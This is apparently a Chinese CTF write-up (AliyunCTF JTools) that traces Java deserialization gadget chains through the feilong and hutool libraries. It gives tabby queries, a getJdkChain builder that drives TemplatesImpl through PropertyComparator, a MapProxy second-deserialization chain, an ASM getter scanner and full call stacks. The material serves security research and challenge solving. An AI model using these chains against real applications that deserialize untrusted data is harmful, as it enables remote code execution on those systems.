PropertyComparator 原生链 可以用 tabby 找到 com.feilong.core.util.comparator.PropertyComparator#compare(T, T)
1 2 3 4 5 6 match (source:Method) where (source.CLASSNAME starts with "com.feilong." or source.CLASSNAME starts with "cn.hutool") and source.NAME = "compare" match (sink:Method{IS_SINK:true}) call tabby.algo.findJavaGadget(source, "-", sink, 5, TRUE) yield path return path limit 20
构造原生链子
1 2 3 4 5 6 7 8 9 10 11 12 public static Object getJdkChain(String cmd) throws Exception { Object obj = getTemplatePayload(cmd); // Comparator comparator = (Comparator) createInstanceUnsafely(Class.forName("com.google.common.collect.UsingToStringOrdering")); PropertyComparator comparator = new PropertyComparator("outputProperties"); PriorityQueue<Object> queue = new PriorityQueue<>(2); queue.add("1"); queue.add("2"); setFieldValue(queue, "queue", new Object[]{ obj,"1"}); setFieldValue(queue, "comparator", comparator); return queue; }
调用栈如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 getOutputProperties:506, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeMethod:1922, PropertyUtilsBean (com.feilong.lib.beanutils) getSimpleProperty:1095, PropertyUtilsBean (com.feilong.lib.beanutils) getSimpleProperty:1079, PropertyUtilsBean (com.feilong.lib.beanutils) getProperty:825, PropertyUtilsBean (com.feilong.lib.beanutils) getProperty:162, PropertyUtils (com.feilong.lib.beanutils) getDataUseApache:89, PropertyValueObtainer (com.feilong.core.bean) obtain:70, PropertyValueObtainer (com.feilong.core.bean) getProperty:577, PropertyUtil (com.feilong.core.bean) compare:430, PropertyComparator (com.feilong.core.util.comparator) siftDownUsingComparator:721, PriorityQueue (java.util) siftDown:687, PriorityQueue (java.util) heapify:736, PriorityQueue (java.util) readObject:796, PriorityQueue (java.util)
MapProxy 二次反序列化链 这个链子首先要从 sink 开始说起,位于 cn.hutool.core.io.IoUtil#readObj
用 tabby 查一下有没有比较简单的调用,这里只查出来一条
1 2 3 4 5 6 match (source:Method) where (source.CLASSNAME starts with "cn.hutool.") match (sink:Method) where sink.NAME="readObj" and sink.CLASSNAME = "cn.hutool.core.io.IoUtil" call tabby.algo.findPath(source, "-", sink, 5, true) yield path return path limit 10
![[_resources/AliyunCTF JTools/9d5a59ad462471a16ee6a8a323b04d08_MD5.jpeg]] 也就是在 cn.hutool.core.convert.impl.BeanConverter#convertInternal
触发二次反序列化 我们继续向上查找(这里分段是因为整个查不出来)
1 2 3 4 5 6 match (source:Method) where (source.CLASSNAME starts with "cn.hutool.core.convert.") match (sink:Method) where sink.NAME="convertInternal" and sink.CLASSNAME = "cn.hutool.core.convert.impl.BeanConverter" call tabby.algo.findPath(source, "-", sink, 8, true) yield path return path limit 10
![[_resources/AliyunCTF JTools/55e29538575d87b8995fd51fe94db712_MD5.jpeg]] 定位到 cn.hutool.core.convert.Convert#convert
继续查询
1 2 3 4 5 6 match (source:Method) where source.NAME0="java.lang.reflect.InvocationHandler#invoke" match (sink:Method) where sink.NAME="convert" and sink.CLASSNAME = "cn.hutool.core.convert.Convert" call tabby.algo.findPath(source, "-", sink, 4, true) yield path return path limit 10
![[_resources/AliyunCTF JTools/e25cedff3dbd0980dc5a5d0461b64017_MD5.jpeg]] 最后找到位于 cn.hutool.core.map.MapProxy,这是一个动态代理类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 public Object invoke(Object proxy, Method method, Object[] args) { Class<?>[] parameterTypes = method.getParameterTypes(); String methodName; if (ArrayUtil.isEmpty(parameterTypes)) { Class<?> returnType = method.getReturnType(); if (Void.TYPE != returnType) { methodName = method.getName(); String fieldName = null; if (methodName.startsWith("get")) { fieldName = StrUtil.removePreAndLowerFirst(methodName, 3); } else if (BooleanUtil.isBoolean(returnType) && methodName.startsWith("is")) { fieldName = StrUtil.removePreAndLowerFirst(methodName, 2); } else { if ("hashCode".equals(methodName)) { return this.hashCode(); } if ("toString".equals(methodName)) { return this.toString(); } } if (StrUtil.isNotBlank(fieldName)) { if (!this.containsKey(fieldName)) { fieldName = StrUtil.toUnderlineCase(fieldName); } return Convert.convert(method.getGenericReturnType(), this.get(fieldName)); } } } else if (1 == parameterTypes.length) { String methodName = method.getName(); if (methodName.startsWith("set")) { methodName = StrUtil.removePreAndLowerFirst(methodName, 3); if (StrUtil.isNotBlank(methodName)) { this.put(methodName, args[0]); Class<?> returnType = method.getReturnType(); if (returnType.isInstance(proxy)) { return proxy; } } } else if ("equals".equals(methodName)) { return this.equals(args[0]); } } throw new UnsupportedOperationException(method.toGenericString()); }
当代理函数参数为 0,并且返回值不为 void 时可以触发 Convert.convert 而最终走到 cn.hutool.core.convert.ConverterRegistry#convert(java.lang.reflect.Type, java.lang.Object, T, boolean)
时才是关键位置 这里需要满足代理函数返回值是类型通过 BeanUtil.isBean(rowType)
,最终才会调用 cn.hutool.core.convert.impl.BeanConverter#convertInternal
1 2 3 public static boolean isBean(Class<?> clazz) { return hasSetter(clazz) || hasPublicField(clazz); }
调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 readObject:466, ObjectInputStream (java.io) readObj:615, IoUtil (cn.hutool.core.io) readObj:582, IoUtil (cn.hutool.core.io) readObj:563, IoUtil (cn.hutool.core.io) deserialize:70, SerializeUtil (cn.hutool.core.util) deserialize:594, ObjectUtil (cn.hutool.core.util) convertInternal:92, BeanConverter (cn.hutool.core.convert.impl) convert:58, AbstractConverter (cn.hutool.core.convert) convert:243, ConverterRegistry (cn.hutool.core.convert) convert:262, ConverterRegistry (cn.hutool.core.convert) convertWithCheck:753, Convert (cn.hutool.core.convert) convert:706, Convert (cn.hutool.core.convert) convert:677, Convert (cn.hutool.core.convert) invoke:147, MapProxy (cn.hutool.core.map)
寻找接口函数 满足条件的接口需要满足以下条件
1 2 3 4 5 1.是一个接口中的函数 2.函数名以get或者is开头 3.是一个无参函数 4.返回值类型满足函数BeanUtil.isBean(rowType) 5.不在cn.hutool.core.convert.ConverterRegistry#defaultConverterMap中
我们用 asm 来寻找,主要逻辑如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 static class InterfaceMethodScanner extends ClassVisitor { private boolean isInterface; private String className; public InterfaceMethodScanner() { super(Opcodes.ASM9); } @Override public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) { // 判断是否为接口 isInterface = (access & Opcodes.ACC_INTERFACE) != 0; className = name; super.visit(version, access, name, signature, superName, interfaces); } @Override public org.objectweb.asm.MethodVisitor visitMethod(int access, String methodName, String descriptor, String signature, String[] exceptions) { // 仅处理接口中的方法 if (!isInterface) { return null; } // 方法名必须以 "get" 或 "is" 开头 if (!(methodName.startsWith("get") || methodName.startsWith("is"))) { return null; } // 方法必须为无参函数 Type methodType = Type.getMethodType(descriptor); if (methodType.getArgumentTypes().length != 0) { return null; } // 返回类型要求为对象类型 Type returnType = methodType.getReturnType(); if (returnType.getSort() != Type.OBJECT) { return null; } String retClassName = returnType.getClassName(); // if (retClassName.contains("Digest")) // { // System.out.println("aaaa"); // } // 检查返回类型是否在黑名单中 if (BLACKLIST.contains(retClassName)) { return null; } // 使用自定义函数 BeanUtil.isBean() 检查返回类型是否满足 bean 的条件 try { Class<?> retClass = Class.forName(retClassName); if (!BeanUtil.isBean(retClass)) { return null; } System.out.println("接口: " + className.replace('/', '.') + " 方法: " + methodName + " 返回类型: " + retClassName); } catch (ClassNotFoundException e) { // 如果加载返回类型失败,则跳过该方法 return null; } return null; } }
最终找到以下满足条件的方法,这是 jar 包里面的,jdk 当中也有很多
1 2 3 4 5 6 7 8 9 10 11 12 13 14 接口: com.feilong.lib.springframework.core.io.Resource 方法: getFile 返回类型: java.io.File 接口: com.feilong.lib.springframework.util.ConcurrentReferenceHashMap$Reference 方法: get 返回类型: com.feilong.lib.springframework.util.ConcurrentReferenceHashMap$Entry 接口: com.feilong.lib.org.apache.http.conn.ManagedHttpClientConnection 方法: getSocket 返回类型: java.net.Socket 接口: com.feilong.lib.org.apache.http.FormattedHeader 方法: getBuffer 返回类型: com.feilong.lib.org.apache.http.util.CharArrayBuffer 接口: com.feilong.excel.ExcelConfig 方法: getDefinition 返回类型: com.feilong.excel.ExcelDefinition 接口: com.feilong.lib.digester3.ObjectCreationFactory 方法: getDigester 返回类型: com.feilong.lib.digester3.Digester 接口: com.feilong.lib.digester3.Rules 方法: getDigester 返回类型: com.feilong.lib.digester3.Digester 接口: org.apache.fury.shaded.org.codehaus.janino.Java$PackageMemberTypeDeclaration 方法: getDeclaringCompilationUnit 返回类型: org.apache.fury.shaded.org.codehaus.janino.Java$CompilationUnit 接口: org.slf4j.event.LoggingEvent 方法: getThrowable 返回类型: java.lang.Throwable 接口: cn.hutool.core.annotation.AnnotationAttribute 方法: getAttribute 返回类型: java.lang.reflect.Method 接口: cn.hutool.core.annotation.WrappedAnnotationAttribute 方法: getAttribute 返回类型: java.lang.reflect.Method 接口: cn.hutool.db.dialect.Dialect 方法: getWrapper 返回类型: cn.hutool.db.sql.Wrapper 接口: cn.hutool.json.JSON 方法: getConfig 返回类型: cn.hutool.json.JSONConfig 接口: cn.hutool.json.JSONGetter 方法: getConfig 返回类型: cn.hutool.json.JSONConfig
我们随便找个接口,用上面的方法触发 getter,然后可以触发到 invoke,完成完整调用 最终调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 getOutputProperties:506, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeMethod:1922, PropertyUtilsBean (com.feilong.lib.beanutils) getSimpleProperty:1095, PropertyUtilsBean (com.feilong.lib.beanutils) getSimpleProperty:1079, PropertyUtilsBean (com.feilong.lib.beanutils) getProperty:825, PropertyUtilsBean (com.feilong.lib.beanutils) getProperty:162, PropertyUtils (com.feilong.lib.beanutils) getDataUseApache:89, PropertyValueObtainer (com.feilong.core.bean) obtain:70, PropertyValueObtainer (com.feilong.core.bean) getProperty:577, PropertyUtil (com.feilong.core.bean) compare:430, PropertyComparator (com.feilong.core.util.comparator) siftDownUsingComparator:721, PriorityQueue (java.util) siftDown:687, PriorityQueue (java.util) heapify:736, PriorityQueue (java.util) readObject:796, PriorityQueue (java.util) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeReadObject:1185, ObjectStreamClass (java.io) readSerialData:2345, ObjectInputStream (java.io) readOrdinaryObject:2236, ObjectInputStream (java.io) readObject0:1692, ObjectInputStream (java.io) readObject:508, ObjectInputStream (java.io) readObject:466, ObjectInputStream (java.io) readObj:615, IoUtil (cn.hutool.core.io) readObj:582, IoUtil (cn.hutool.core.io) readObj:563, IoUtil (cn.hutool.core.io) deserialize:70, SerializeUtil (cn.hutool.core.util) deserialize:594, ObjectUtil (cn.hutool.core.util) convertInternal:92, BeanConverter (cn.hutool.core.convert.impl) convert:58, AbstractConverter (cn.hutool.core.convert) convert:243, ConverterRegistry (cn.hutool.core.convert) convert:262, ConverterRegistry (cn.hutool.core.convert) convertWithCheck:753, Convert (cn.hutool.core.convert) convert:706, Convert (cn.hutool.core.convert) convert:677, Convert (cn.hutool.core.convert) invoke:147, MapProxy (cn.hutool.core.map) getWarnings:-1, $Proxy0 (com.sun.proxy) main:32, MapProxyTest (challenge)
Reference https://xz.aliyun.com/news/17029 https://mp.weixin.qq.com/s/dMl0aEg6p7w7MKlUe7pCdg